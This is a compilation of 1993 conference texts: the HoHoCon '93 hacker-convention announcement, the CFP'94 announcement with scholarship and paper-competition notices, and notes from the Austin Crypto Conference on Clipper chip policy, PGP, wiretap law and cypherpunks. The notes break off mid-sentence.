HoHoCon is the largest annual gathering of those in, related to, or wishing to know more about the computer underground. Attendees generally include some of the most notable members of the "hacking" and "telecom" community, journalists, authors, security professionals, lawyers, and a host of others. Previous speakers include John Draper (Cap'n Crunch), Ray Kaplan, Chris Goggans (Erik Bloodaxe), Bruce Sterling, and many more. The conference is also one of the very few that is completely open to the public and we encourage anyone who is interested to attend.

Hotel Information

The Austin North Hilton recently split its complex into two separate hotels; the Hilton and the newly added Super 8. HoHoCon guests have the choice of staying in either hotel. Group rates are as followed :

Super 8: Single - $46.50, Double - $49.50, Triple - $52.50, Quad - $55.50
Hilton : Single - $69.00, Double - $79.00, Triple - $89.00, Quad - $99.00

Once again, the hotel has set aside a block of rooms for the conference and we recommend making your reservations as early as possible to guarantee a room within the block, if not to just guarantee a room period. Rooms for the handicapped are available upon request. To make your reservations, call the number listed above that corresponds with where you are and where you want to stay and make sure you tell them you are with the HoHoCon conference or else you'll end up throwing more money away. The hotel accepts American Express, Visa, Master Card, Discover, Diner's Club, and Carte Blanche credit cards.

Check-in is 3:00 p.m. and check-out is 12:00 noon. Earlier check-in is available if there are unoccupied rooms available. Please note that in order for the hotel to hold a room past 6:00 p.m. on the date of arrival, the individual reservation must be secured by a deposit or guaranteed with one of the credit cards listed above. Also, any cancellations of guaranteed reservations must be made prior to 6:00 p.m. on the date of arrival. You will be responsible for full payment of any guaranteed reservations which are not cancelled by this time.

The hotel provides transportation to and from the airport and will give you full information when you make your reservations.

Directions

For those of you who will be driving to the conference, the following is a list of directions provided by the hotel (so, if they're wrong, don't blame me):

Dallas : Take IH 35 south to exit 238-B, the Houston exit. At the first stop light, turn right on to 2222. Turn off of 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

San Antonio : Take IH 35 north to exit 238-B, the Houston exit. At the second stop light, turn left onto 2222. Turn off 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Houston (on 290) : Take 290 west into Austin. Exit off of 290 at the IH35 exit (do not get on 35). Stay on the access road heading west, you will pass two stop lights. Turn off the access road onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Houston (on 71) : Take 71 west into Austin. Exit onto 183 north. Take 183 north to 290 west. Take 290 west to the IH 35 exit. Exit off of 290 at the IH 35 exit (do not get on 35). Stay on the access road heading west, you will pass two stop lights. Turn off the access road onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel in on the left.

Airport : Exit the airport parking lot and turn right onto Manor Road. Take Manor Road to Airport Boulevard and turn right. Take Airport Boulevard to IH 35 north. Take IH 35 to exit 238-B. At the second stop light, turn left onto 2222. Turn off of 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Call the hotel if these directions aren't complete enough or if you need additional information.

Conference Details

HoHoCon will last 3 days, with the actual conference being held on Saturday, December 18 starting at 11:00 a.m. and continuing until 5 p.m. or earlier depending on the number of speakers. Although a few speakers have confirmed their attendance, we are still in the planning stages and will wait until the next update to release a speaking schedule. We welcome any speaker or topic recommendations you might have (except for, say, "Why I Luv Baked Potatos On A Stik!"), or, if you would like to speak yourself, please contact us as soon as possible and let us know who you are, who you represent (if anyone), the topic you wish to speak on, a rough estimate of how long you will need, and whether or not you will be needing any audio-visual aids.

We would like to have people bring interesting items and videos again this year. If you have anything you think people would enjoy having the chance to see, please let us know ahead of time, and tell us if you will need any help getting it to the conference. If all else fails, just bring it to the con and give it to us when you arrive. Any organization or individual that wants to bring flyers to distribute during the conference may do so. You may also send your flyers to us ahead of time if you can not make it to the conference and we will distribute them for you. Left over flyers are included with information packets and orders that we send out, so if you want to send extras, go ahead.

Cost

Unlike smaller, less informative conferences, we do not ask you to shell out hundreds of dollars just to get in the door, nor do we take your money and then make you sleep in a tent. We are maintaining the motto of "give $5 if you can", but due to the incredibly high conference room rate this year, we may step up to "$5 minimum required donation" or "give us $5 or we'll smash your head in". Five dollars is an outrageously low price compared to the suit infested industry conferences or even the new "Cons are k00l and trendy, I gotta do one too!" conferences that are charging up to $50 for admission alone.

To encourage people to donate, we will once again be having our wonderless "Raffle For The Elite" during the conference. We will issue a prize list in a future update, but we can guarantee that this year there will be a lot more (and better) prizes than last year, including a full system (and, no, it's not a c64 or 286). Anyone who wishes to donate worthwhile items to the raffle, please let us know ahead of time, or if it's a last minute acquirement, just bring it to the conference.

Miscellaneous Notes

To save myself some time by mailing responses to a lot of the same questions I expect to get, I'll answer a few of them here.

Although I have not talked to him myself yet, Steve Ryan has told me that Bruce Sterling will indeed be in attendance and may say a few words.

As far as I know, there will not be any visitors from any other planets at the conference. Scot Chasin is still on Earth and will be making an appearance.

Video cameras will *not* be allowed inside the conference room without prior consent due to previous agreements made with speakers who do not wish for certain parts of their speech to be rebroadcast. Still cameras and Etch-A-Sketch's are fine and tape recorders are too easily hidden for us to be able to control.

Videos and T-Shirts from last year's conference are still available, and will also be on hand during the conference. We do not handle the LoD World Tour shirts, but I can tell you that the old ones are gone and a *new* LoD shirt will be unveiled at the conference. The HoHoCon shirts are $15 plus $3 shipping ($4.00 for two shirts). At this time, they only come in extra large. We may add additional sizes if there is a demand for them. The front of the shirt has the following in a white strip across the chest:

I LOVE FEDS

(Where LOVE = a red heart, very similar to the I LOVE NY logo)

And this on the back:

dFx & cDc Present

HOHOCON '92

December 18-20
Allen Park Inn
Houston, Texas

There is another version of the shirt available with the following:

I LOVE WAREZ

The video includes footage from all three days, is six hours long and costs $18 plus $3 shipping ($4.00 if purchasing another item also). Please note that if you are purchasing multiple items, you only need to pay one shipping charge of $4.00, not a charge for each item. If you wish to send an order in now, make all checks or money orders payable to O.I.S., include your phone number and mail it to the street address listed below. Allow a few weeks for arrival.

There will be new HoHoCon '93 shirts available at the conference and a video of the festivities will be out early next year.

Correspondence

If anyone requires any additional information, needs to ask any questions, wants to RSVP, wants to order anything, or would like to be added to the mailing list to receive the HoHoCon updates, you may mail us at:

hohocon@cypher.com
drunkfux@cypher.com
cDc@cypher.com
drunkfux@crimelab.com
dfx@nuchat.sccsi.com
drunkfux@5285 (WWIV Net)

or via sluggo mail at:

HoHoCon
1310 Tulane, Box 2
Houston, Texas
77008-4106

We also have a VMB which includes all the conference information and is probably the fastest way to get updated reports. The number is:

713-867-9544

You can download any of the conference announcements and related materials by calling Metalland Southwest at 713-468-5802, which is the offical HoHoCon BBS. The board is up 24 hours a day and all baud rates are supported.

Those of you with net access can ftp to cypher.com and find all the HoHoCon information available in /pub/hohocon. The .gifs from previous cons are *not* currently online.

Conference information and updates will most likely also be found in most computer underground related publications and mailing lists, including CuD, CSP, Mondo 2000, 2600, Phrack, TUC, phn0rd, cypherpunks, etc. They should also appear in a number of newsgroups including comp.dcom.telecom, alt.security, comp.org.eff.talk, and sci.crypt. We completely encourage people to use, reprint, and distribute any information in this file.

Same stupid ending statement from last year to make us look good

HoHoCon '93 will be a priceless learning experience for professionals and gives journalists a chance to gather information and ideas direct from the source. It is also one of the very few times when all the members of the computer underground can come together for a realistic purpose. We urge people not to miss out on an event of this caliber, which doesn't happen very often. If you've ever wanted to meet some of the most famous people from the hacking community, this may be your one and only chance. Don't wait to read about it in all the magazines and then wish you had been there, make your plans to attend now! Be a part of what we hope to be our largest and greatest conference ever.

COMPUTERS, FREEDOM, AND PRIVACY '94

Conference Announcement
Scholarships, Writing Competition Notice
23-26 March 1994, Chicago, Il.

The fourth annual conference, "Computers, Freedom, and Privacy," (CFP'94) will be held in Chicago, Il., March 23-26, 1994. The conference is hosted by The John Marshall Law School; George B. Trubow, professor of law and director of the Center for Informatics Law at John Marshall, is general chair of the conference. The program is sponsored jointly by these Association for Computing Machinery (ACM) Special Interest Groups: Communications (SIGCOMM); Computers and Society (SIGCAS); Security, Audit and Control (SIGSAC).

The advance of computer and communications technologies holds great promise for individuals and society. From conveniences for consumers and efficiencies in commerce to improved public health and safety and increased participation in government and community, these technologies are fundamentally transforming our environment and our lives.

At the same time, these technologies present challenges to the idea of a free and open society. Personal privacy and corporate security is at risk from invasions by high-tech surveillance and monitoring; a myriad of personal information data bases expose private life to constant scrutiny; new forms of illegal activity may threaten the traditional barriers between citizen and state and present new tests of Constitutional protection; geographic boundaries of state and nation may be recast by information exchange that knows no boundaries in global data networks.

CFP'94 will assemble experts, advocates and interest groups from diverse perspectives and disciplines to consider freedom and privacy in today's "information society. Tutorials will be offered on March 23, 1994, from 9:00 a.m. - noon and 2:00 - 500 p.m. The conference program is Thursday, March 24, through Saturday, March 26, 1994, and will examine the potential benefits and burdens of new information and communications technologies and consider ways in which society can enjoy the benefits while minimizing negative implications.

STUDENT PAPER COMPETITION

Full time college or graduate students may enter the student paper competition. Papers must not exceed 3000 words and should address the impact of computer and telecommunications technologies on freedom and privacy in society. Winners will receive financial support to attend the conference and present their papers. All papers should be submitted by December 15, 1993, (either as straight text via e-mail or 6 printed copies) to: Prof. Eugene Spafford, Department of Computer Science, Purdue University, West Lafeyette, IN 47907-2004. E-Mail: spaf@cs.purdue.edu; Voice: 317-494-7825

CONFERENCE REGISTRATION INFORMATION

Registration fees are as follows:

If paid by:	1/31/94 Early	3/15/94 Regular	4/23/94 Late
Tutorial	$145	$175	$210
Conference	315	370	420

NOTE: ACM members (give membership number) and John Marshall Alumni (give graduation date) receive a $10 discount from Tutorial and $15 discount from Conference fees.

CONFERENCE REGISTRATION: Inquiries regarding registration should be directed to RoseMarie Knight, Registration Chair, at the JMLS address above; her voice number is 312-987-1420; E-mail, 6rknight@jmls.edu.

CONFERENCE INFORMATION: Communications regarding the conference should be sent to: CFP'94, The John Marshall Law School, 315 S. Plymouth Ct., Chicago, IL 60604-3907
(Voice: 312-987-1419; Fax: 312-427-8307; E-mail: CFP94@jmls.edu)

ROOM RESERVATIONS: The Palmer House Hilton, located in Chicago's "loop," and only about a block from The John Marshall Law School, is the conference headquarters. Room reservations only should be made directly with the hotel, mentioning "CFP'94" to get the special conference rate of $99.00, plus tax. (17 E. Monroe., Chicago, Il., 60603, Tel: 312-726-7500; 1-800-HILTONS; Fax 312-263-2556)

NOTE: More specific information about conference program content will be available December 1, 1993.

****

George B. Trubow, Professor of Law
Director, Center for Informatics Law
The John Marshall Law School
315 S. Plymouth Ct.
Chicago, IL 60604-3907
Fax: 312-427-8307; Voice: 312-987-1445
E-mail: 7trubow@jmls.edu

......SCHOLARSHIPS

The Conference on Computers, Freedom & Privacy (CFP'94) is pleased to announce that it will once again provide a number of full tuition scholarships for attendance at the conference. The conference will be held in Chicago, IL from March 23rd through March 26th, 1995 and will be hosted by the John Marshall Law School under the chairmanship of George Trubow.

The conference traditionally attracts an extremely diverse group of persons concerned with issues relating to the rapid development of the "information society"; civil libertarians, information providers, law enforcement personnel, privacy advocates, "hackers", sociologists, educators and students, computer professionals, cryptography advocates, government policy makers and other interested parties have all played major roles in the three previous conference.

Speakers at previous conferences have included Electronic Frontier Foundation (EFF) co-founders John Perry Barlow and Mitch Kapor, FBI Deputy Director William A. "Al" Bayse, writer Bruce Sterling, privacy advocate Simon Davies, Harvard University law professor Lawrence Tribe, hacker "Phiber Optik", Georgetown University's Dorothy Denning, "Cuckoo's Egg" author Clifford Stoll, Prodigy counsel George Perry, USA Today founder Al Neuwith, former FCC Chairman Nicholas Johnson, Computer Professionals for Social Responsibility (CPSR)'s Marc Rotenberg, Arizona prosecutor Gail Thackeray, and Bay Area Women in Computing's Judi Clark.

The scholarships are intended to provide access to the conference to those that would like to attend the conference but are unable to afford the tuition. They are available to undergraduate and graduate students in any discipline (previous student attendees have come from computer science, law, sociology, liberal arts, journalism, and womens' studies backgrounds), law enforcement personnel, hackers, social scientists, and others interested in the future of the information society.

Persons interested in a scholarship should send the following information (e-mail greatly preferred) to:

John F. McMullen
Perry Street
Jefferson Valley, NY 10535

mcmullen@panix.com
(914) 245-2734 (voice)
(914) 245-8464 (fax)

1. Personal Information -- Name, Addresses (including e-mail), Phone Numbers, School and/or Business Affiliation

2. Short Statement explaining what the applicant helps to get from CFP'94 and what impact that attendance may have in the applicant's community or future work.

3. Stipulation that the applicant understands that he/she is responsible for transportation and lodging expenses related to the conference. The scholarship includes tuition and those meals included with the conference.

4. Stipulation that the applicant would not be able to attend the conference if a scholarship is not granted. The applicant stipulates that, if granted a scholarship, he /she will attend the conference.

6. Stipulation that the applicant, if granted a scholarship, will provide a contact John McMullen at the above e-mail address or phone numbers with any questions.

The number of available scholarships will be determined by funding available.

Notes from the Austin Crypto Conference, September 22, 1993

by Gregory W. Kamen

--- Dinosaur Warning ---

Disclaimer: A lot of people here noted disclaimed what they said as "not legal advice". In addition, this was prepared from notes which were not necessarily legible or complete, therefore I disclaim any responsibility for misquoting or mistranscribing this information. (If you don't like it, you try typing "cypherpunks" over and over again :P). Please note that in Q & A sessions, the answers were relevant, though not always responsive to the questions. In addition, I state that this information does not represent legal advice from me or solicitation of legal representation, and does not necessarily represent the position of EFH, EFF, EFF-Austin, the individual conference participants, or any living person.

The room was set up to seat approximately 180 people. It was essentially full, and there were a few people standing--not bad for a Wednesday afternoon.

There was a large (about 14 people) contingent from EFH present.

Steve Jackson opened the meeting with a few introductory remarks, among which were that a subpoena had been served on Austin Code Works, a publisher of cryptographic software.

We can expect to hear about the case in news magazines of general circulation in about two months.

Bruce Sterling delivered the keynote address.

He began by establishing a context by defining cryptography:

-- as secret coding to avoid the scrutiny of a long list of entities,
-- as a way to confine knowledge to those initiated and trusted,
-- as a means to ensure the privacy of digital communication, and
-- as a new form of information economics

Sterling then noted that crypto is "out of the closet"

-- it is heard of on the streets
-- the government acknowledges it by bringing forth its Clipper chip
-- it is in the hands of the people
-- public key crypto is out there and commercially available
-- the typical time to market from first publication of a new idea is 20 years. Diffie published the first public key crypto algorithm in 1975, thus the target date for mass crypto would be 1995. Bringing it to market will require bringing of political pressure, lawsuits, and money.

Next, Sterling moved to the subject of the grand jury proceedings in San Jose on 9/22.

-- Export law violations have been alleged. Whatever the outcome, this proceeding is certainly not the end of the subject.

Finally, before closing by noting that EFF-Austin is not EFF, Sterling shared a brief background of the panelists:

-- they are people who can tell us about the future
-- they are directors of national EFF and can share information
Panelists on First Panel
-- Mitch Kapor - co-founder of EFF, software designer, entrepreneur, journalist, philanthropist, activist. He spoke out on obscure issues in the beginning and made them seem less obscure. He has done good deeds for the public.
-- Jerry Berman - President of EFF, activist background, published widely on security and privacy issues, formerly active with ACLU, and is on Clinton administration's National Information Infrastructure team.
Panelists on Second Panel
-- Esther Dyson - journalist, has widely read project "Release 1.0", is a guru in Europe.
-- Mike Godwin - lawyer for EFF, veteran public speaker, attended UT-Austin, on the board of EFF-Austin as well as EFF.
Panelists on Third Panel
-- Eric Hughes - not EFF member, started cypherpunks mailing list, from California
-- John Gilmore - 20 year programmer, pioneer at Sun, civil libertarian
-- John Perry Barlow - co-founder of EFF, media junkie, and author.

PANEL #1: POLICY

Kapor - Opening remarks: Framing the issue

a. Series of conferences in Washington, briefed EFF on how laws are made, at a technical level of the process. Berman was instrumental in passing the ECPA, which was later used successfully in Steve Jackson Games case.

b. ECPA is a good thing: it says Email should be as private as postal mail. However, it doesn't go far enough because it is easy to listen in on cell phones.

c. Kapor felt need technology to protect privacy. Laws alone are not enough. Berman stated view (at that time. He has since changed his mind) widely held within the Beltway that laws were sufficient.

d. Survey: 20 percent of those present use PGP. 80 percent have heard of PGP.

Berman -

a. Following on Kapor's point that ECPA was soft, Berman says the politicians will remain clueless until we educate them. If it is knowledge that can alter the political process, it must be done.

b. EFF established a Washington presence because policy is being made to design and govern the electronic frontier by the big commercial players. The public and the consumer are not represented.

c. We're working on a goal that the national information infrastructure serve the public interest. For example, if the big players are allowed to dominate the process, they will control access and the NII will look like 500 cable channels rather than a point-to-point switched network like Internet.

d. There's a big battle coming: computers and communication are in abundance such that everyone can be a publisher. This raises at the very least a First Amendment issue.

e. The Clipper Chip

-- has great potential for the net; however, government agencies are not sure of control

-- privacy and security are essential for development of the national information infrastructure. This is a threat to the law enforcement community.

-- the response of the law enforcement community has been to attempt to throttle the technology.

-- in order to capture the future, they want to develop the technology themselves.

-- EFF's role has been to say that we shouldn't go ahead with the Clipper chip proposal.

-- the ultimate big question: What to do when all communications are encrypted.

-- Clinton led off with a study of cryptography policy and introduced the Clipper chip at the same time, which demonstrates that the policy was already determined in the opinions of many. It was introduced not as something being studied, but as a fait accompli.

-- Clipper proposal is bad because it is based on a secret algorithm which has not been subjected to adequate scrutiny, it is counterintuitive to interoperability because stronger crypto is being developed outside the United States, and it includes a key escrow provision that includes only "insiders" who developed the technology.

-- We don't prescreen the content of communications. The law enforcement community needs a warrant. That is fundamental to the First, Fourth, and Fifth Amendments.

f. We oppose the Clipper/Skipjack chip

-- there's no evidence showing that law enforcement will be unduly hampered in its efforts to stop crime if crypto is available.

-- the positive and negative implications of widespread crypto have not been considered.

-- law enforcement may have a problem, but if they have a warrant they should be able to get access.

-- as long as Clipper is not mandated, people can use other types of crypto.

g. Conclusions

-- if Clipper is voluntary, it doesn't work, because people who want to encrypt safely will use other products.

-- if Clipper is mandated, there are serious constitutional issues.

-- Even if the Clipper chip proposal fails, we still lose under the current scheme, because the export control laws guarantee that we will not have crypto interoperable with the rest of the world.

h. EFF chairs a large coalition including representatives of Microsoft, IBM, and ACLU to work against this.

i. Congress only needs one bad case, like a terrorist attack, to go the other way.

Q & A -

Q. Is the key in the hardware or software with Clipper?

A. It's in the hardware, therefore the instrument is permanently compromised once the keys are released from escrow. The law enforcement arguments are really fronts for NSA and their religious commitment to prevent the spread of crypto. It's NSA's mission to make sure it "busts" every communication in the world, therefore why would they propose any encryption without a "back door" through which they could decipher all transmissions.

Q. What is the current state of the law between NIST and NSA?

A. NSA was selling "secure" phones. They wanted a new classification of information. Responsibility for classified systems rests with NSA. NIST is brought in to handle domestic crypto. In terms of budget and experience, however, NSA is dominant, and NIST relies on them.

Q. How does GATT relate to the Clipper proposal

A. It's not dealt with in GATT. There's no agreement on an international standard.

Q. What's going on with PGP?

A. Pretty Good Privacy is the people's crypto. It was independently developed, and has been widely distributed for our information and security. There are two current controversies regarding PGP. First is whether it is subject to export controls, and second is its intellectual property status.

Q. What facts do we have regarding the history of Clipper?

A. The project began during the Bush administration after AT&T introduced phones implementing DES, the Data Encryption Standard. Clinton looked at it early in his administration. NSA pushed the program, and the staff wanted to "do something". A worst-case scenario about the introduction of Clipper is that it was leaked to the press, and the story about a study was cooked up to cover the leak. People might be surprised about how little expertise and thought about issues goes on. Policy makers operate under severe time constraints, handling the crisis of the moment. Most of them are reasonable people trying to do the best thing under the circumstances. If we push certain ideas long enough and hard enough we can affect the outcome.

Q. Following the _AMD v. Intel_ case, there's nothing stating you cannot clone the Clipper chips to circumvent the law enforcement field, correct?

A. It's difficult to say. The chips have not yet been delivered. There have been technical problems with the chip. At NIST hearing a couple weeks ago, Dorothy Denning revealed that she had reviewed the Skipjack algorithm alone because the other four cryptographers selected to review the algorithm were on vacation. There's a certain degree of cynicism because the government has said it will twist people's arms using its purchasing power and the threat of prosecution to establish Skipjack as a de facto standard. EFF is trying to get AT&T and Motorola to do something. Maybe the chip cannot easily be cloned. John Gilmore wants to see how easy it is to reverse engineer.

Q. What are specific steps that can be taken?

A. Send Email to the White House, and cc to EFF. Also, focus on the debate concerning ownership and leasing of the national information infrastructure. Southwestern Bell wants authority to own and lease the net and isn't quite sure whether government should be involved. This is the other longest-running EFF policy concern: the owner of the electronic highways shouldn't be able to control content. Bandwidth should be provided based on the principles of common carriage and universal access. Construction of the NII should be done by the private sector because government doesn't have the resources available. We can't allow ourselves to be limited to upstream bandwidth. The net should retain those of its characteristics equivalent to BBS's.

Q. If NIST is to be an escrow agent, why are they not secure?

A. This is a source of moral outrage, but moral outrage only goes so far. We need to swallow our distaste for dealing with the government to compromise. It is worthwhile to get involved in the decision-making _process_.

Q. What is the position of the ACLU and Republican think tanks on Clipper?

A. A lot of organizations have bumped into NII. ACLU is fighting the Clipper chip. For other organizations, it's not a top priority item.

Q. With regard to DES: Export restrictions apply to scramblers, but they are exported anyway. Why this policy of selective enforcement?

A. Don't look for consistency. SPA has recognized that there are 231 DES-equivalent products. The genie is out of the bottle. DES source is widely available, but more so inside the US than outside.

Q. If the government has their way, what good products are out there for us?

A. The government can only have its way by mandating use of Skipjack. If it holds up, legally and politically, there _is_ no alternative. The government is saying that it is considering banning the use of crypto other than Skipjack, but has not yet adopted such a policy.

Q. If crypto is a munition, is it protected under the Second Amendment?

A. The Second Amendment probably doesn't affect the export question.

Q. Are there any legal weaknesses in the public key cryptography patents?

A. EFF has its hands full with other issues and hasn't really formulated an answer to this, but believes there's a fatal weakness as to all software patents. However, it would be prohibitively expensive to make such a case at this time.

Q. Do we need different copyright laws because of encryption?

A. Recognize that without changes in the copyright law, it will be difficult to get a true net economy going. Producers want a way to make money from the net. Consumers want the equivalent of home taping. It's tough to cover all the bases.

Q. How do law enforcement issues in civil cases relate?

A. This is an interesting point because the line between a commercial dispute and a criminal act are fuzzy. There are dangers in obtaining a wiretap. The law enforcement community shouldn't have a case to tap a line in the event of a two-party dispute. There is a danger of misuse for traffic analysis of calls.

Q. ECPA could have been used to regulate access to the airwaves. Has it been tested against the First Amendment?

A. This demonstrates that technological security measures, rather than merely laws, are needed. People have listened to cell phone calls with scanners, and they made scanners illegal to manufacture, but cell phones can be modified to act as scanners. Experimentation of privacy with encryption shifts the balance. RSA is available outside the US. RICO is being overused.

PANEL #2: INDUSTRIAL AND LEGAL ISSUES

Dyson - Beyond commercial people being citizens, there are three big issues:

1. Protection of trade secrets
2. Intellectual property protection for net businesses and database information
3. Exporting encryption devices: US businesses like to do business overseas. It is cost ineffective to develop a US-only standard. There is better encryption available in Russia and Bulgaria on BBS's.

Godwin - Talking about law enforcement arguments government makes. There are general issues regarding computers, communication, and privacy greater than just Clipper.

-- Godwin is the first person people talk to when they call EFF in trouble. In addition to giving a lot of general information regarding liability, he monitors the intake of cases for EFF. He talks at conventions about criminal and constitutional issues.

-- This effort has produced at least one change already: law enforcement personnel are no longer completely incompetent and clueless about computers.

-- the most interesting are issues dealing with hackers and crypto. FBI's involvement with digital telephony: they wanted to make it more wiretap friendly. They discovered it is worthless without a restriction on encryption, and Clipper was introduced a short time later.

Legal History

The right to communications privacy is a fairly new thing. The Supreme Court faced it in the 1928 _Olmstead_ case, and held that there was no Fourth Amendment interest to be protected at all because there was no physical intrusion on the property. The doctrine has bee reveisited a number of times since then.

-- a suction cup mike next door to the defendant's apartment produced the same holding.

-- In a later case of a "spike mike" penetrating the heating duct of the defendant's apartment, the Court held that the Fourth Amendment applied but did not extend general Fourth Amendment protection.

Finally in the _Katz_ case in the late 60's the Court formulated its present doctrine in holding that the defendant has a reasonable expectation of privacy in a phone booth. The Court said that the Fourth Amendment protects people, not places. Justice Brandeis, in dissent, cited Olmstead, but also noted that "The right most prized by civilized men is the right to be let alone."

Arguments regularly advanced by law enforcement types in favor of Clipper:

1. Wiretapping has been essential in making many cases.
-- this argument seems reasonable.

2. Even if they can't point to a case now, they are taking a proactive approach, trying to anticipate problems rather than reacting.
-- Dorothy Denning was involved early on in framing the issues. Now she's in favor of the government line. Point is that an attitude of "us vs. them" is counterproductive.

3) There are nuclear terrorists out there
-- this argument is the result of false reasoning. Like Pascal's wager, the price of guessing wrong is so high that the rational person chooses to be a believer, even where the probability is very low.
-- the problem with it is that you can't live that way. There's not necessarily one single right answer. Also there is a substantial opportunity cost. Whenever you empower individual rights, there's a

tradeoff against government efficiency. As an example, take the case of compelled confession. It would be very efficient for the government to be able to compel a confession, but the cost in individual rights is too high. There is no constitutional precedent on which to base the outlawing of encryption. The way it ought to be, the law enforcement types should have the right to try to intercept communications under certain circumstances, but they should have no guarantee of success.

4) Wiretapping has created an entitlement to have access to the communications: this argument is blatantly ridiculous.

Q & A

Q. Before the A-bomb was built, proponents said that it would cost $1 million to build. The eventual cost was $1 billion. Congress asked what was the probability that it could work, and was told 1 in 10. Thus the nuclear terrorist argument works, right?

A. Terrorists won't use Clipper

Q. NSA has had scramblers working. Why does it hurt for us to have the devices?

A. We're not opening Pandora's Box. Encryption is already out there. They think the majority of communications are not encrypted now. Encryption will create a bottleneck, which will change the way law enforcement does its job.

Q. What about the Davis case in Oklahoma? If convicted is there any chance for parole?

A. Davis was a BBS owner prosecuted because he allegedly had obscene material on his board. I don't know about Oklahoma parole law.

Q. What is the current legal status of PGP?

A. That will be answered later.

Q. If "only outlaws will have crypto", how effectively can the clamp down?

A. It will probably be very easy for them to chill nonstandard crypto if
-- they investigate for another crime and find it, or
-- it may itself be probable cause for a search.

Q. Doesn't a lot of this boil down to "you wouldn't be encrypting if you had nothing to hide"?

A. There's not any probable cause for law enforcement taking that position. Business likes crypto. In a scenario where only certain types of crypto are allowed, there could presumably arise a presumption from nonstandard crypto. The more people who encrypt, the more will say it is all right.

Q. Do you get the sense that there is a political will to protect privacy in this country?

A. It is not clear that is the case. There is a real education hurdle to teach the importance of technology.

Q. The law enforcement aspect is not important to NSA, right?

A. The Russians and the Japanese have done more theoretical work. Read "The Puzzle Palace"

Q. Virtual communities and net businesses need crypto on all systems to validate digital signatures.

A. It is not required universally. It will become cheaper as digital signatures take off. The Clipper proposal does not address digital signatures. NIST is also talking to IRS about helping implement Clipper by extending the ability to file tax returns electronically to those using Clipper.

Q. What restrictions are there right now on the IMPORT of crypto?

A. None right now.

Q. Is law enforcement misuse of commercial information anticipated?

A. It is a wash. There are laws available to protect against such things, like the Electronic Funds Transfer laws, and also that the wiretap law requires eventual notification of the tap. That's why they have called for two escrow agents. The weakness is that people can be compromised. The answer to law enforcement is that you could have more than two escrow agents to make the bribe prohibitively expensive. Also the problem of human weakness is not unique to the Clipper chip or key escrow systems.

Q. There's no mapping between the chip and the phone, correct?

A. The only link is the word of the officer seeking a warrant. There is no provision right now for a database containing identities of all chips.

Q. Can the President or Congress outlaw encryption by Executive Order?

A. The president cannot by Executive Order. It's not clear whether Congress could constitutionally.

Q. What about steganography?

A. Steganography is defined as a message appearing to be unencrypted but containing a code. There's a constant competition between the law enforcement community and the criminal element to stay ahead on the technology.

Q. Are one time pads illegal, or covered by export regulations?

A. No. Few policymakers have ever heard of them.

Q. What's a vision of what we would like to see?

A. Try to give people a technological means to protect their own privacy. Freedom to exchange information. Communities conforming to a standard without oversight, so that we can export.
Godwin - more mystical approach. In person, you can be sure of someone's identity. This creates intimacy. Technology has the potential to free intimacy from the accident of geography. With crypto, you know the identity of the other person, and that you're not being overheard.

Q. Who are the law enforcement people you've been dealing with? Do they represent the highest levels of their organizations?

A. (Godwin) I don't claim to know what NSA thinks. I have talked to FBI, state and local law enforcement authorities, and they all say the same things.

PANEL #3: CYPHERPUNKS

Barlow - Doesn't have the I/O bandwidth to be a cypherpunk. Doesn't know how they do it. The net is the biggest technological development since fire. There's a very difficult choice to be made, and it may already be made: Either anything is visible to anyone who is curious, or nothing is visible. Barlow comes from a small town. He's not bothered by privacy invasions at that level. But there's a difference between locals and the possessors of a database.

The problem of giving up privacy (which without encryption will happen), is that it allows "them" to protect us from ourselves. Also, no matter how benevolent the current government may be, there will always be a corrupt one down the road. Hidden crypto economies could break most governments. It's not necessarily good to have no government either.

What drives the cypherpunks is a law of nature: Anarchy is breaking out, and Barlow is one. However, the libertarian impulse begs a few questions about crypto: What are we trying to hide, from whom, and why?

There are a lot of victimless crimes out there for which no one wants to take responsibility.

Barlow wants crypto to create trust in identity. The real cypherpunk question is: The war is over, and we have won. How do we make the transition of power graceful? Human nature is to acquire some power structure of some kind. It is critical to acquaint friends and those who could care less with crypto.

Gilmore - There are too many laws, and they make the wrong things illegal; We need to explain. In the existing system, the natural outgrowth has been for cypherpunks to be labeled as "them". Gilmore's vision is unprecedented mobility by creating privacy and authenticity at a distance. Thus you don't have to live near work, or play near home. By focusing on conspirators, the law enforcement community loses the focus on business use. The formal topic of the panel is cypherpunks.

-- Crypto is not all that hard. Denning's book shows how to implement DES and RSA.

-- Cypherpunks push the limits - taking cryptography from theory into the realm of the practical.

-- Trying to put crypto in the hands of the people, so that the government cannot take it back. That's why PGP is freely distributed.

-- Also working on anonymity and digital money schemes.

The areas the cypherpunk group has worked on are:

1) Anonymity - anonymous Email. What is the impact on how we communicate? Most of the debate has been relatively uninformed. The Supreme Court thinks there is a right of anonymity. A Los Angeles law requiring that demonstrators who handed out flyers put their name and address on the flyers was overturned on the grounds that it chilled free speech. In other media, telephones are anonymous. There has been a big ruckus with Caller ID. The postal service does not enforce return address requirements. Telegrams and radio are similarly anonymous.

2) Privacy - Have been implementing key exchange systems for PGP, experimenting with encrypted audio. Digital cash systems - so many businesses would pop up on the net if it was possible to spend electronic money. There are people working on the legal aspects of it now.

3) Outreach - a mailing list, contributing articles to Village Voice, Wired, Whole Earth News.

4) Government interaction - Sent a list of questions regarding Clipper to NIST. Made several requests under the Freedom of Information Act. Someone searched the dumpsters at Mykotronx. In a recent FOIA request to an Assistant Secretary of Defense, we learned that the law enforcement and intelligence communities advocate making Clipper mandatory. There's a FOIA request in now on Clipper. FBI returned a clipping file, but says it will take 3 1/2 years to process and release all the documents requested.

5) Future projects - Building encrypted phones using PGP. Real digital banking. Automating anonymity and making an easier to use interface for anonymized mail. Tightening security from machine to machine protocols - Right now they transmit cleartext. At Gilmore's home machine at Cygnus recently, a hacker monitored a session remotely, then installed a daemon to monitor the first 200 bytes of ethernet traffic from each connection. The daemon was removed, and the problem fixed using kerberos.

Hughes - Cypherpunks was created by Hughes and Tim May. It's surprising how much media attention we have gotten. They knew what they were doing was significant, but not that so many people thought so. They are now shooting a pilot for a TV show based on cypherpunks, and Hughes has held himself out as a media expert. Here are a few obvious things that nonetheless need to be stated:

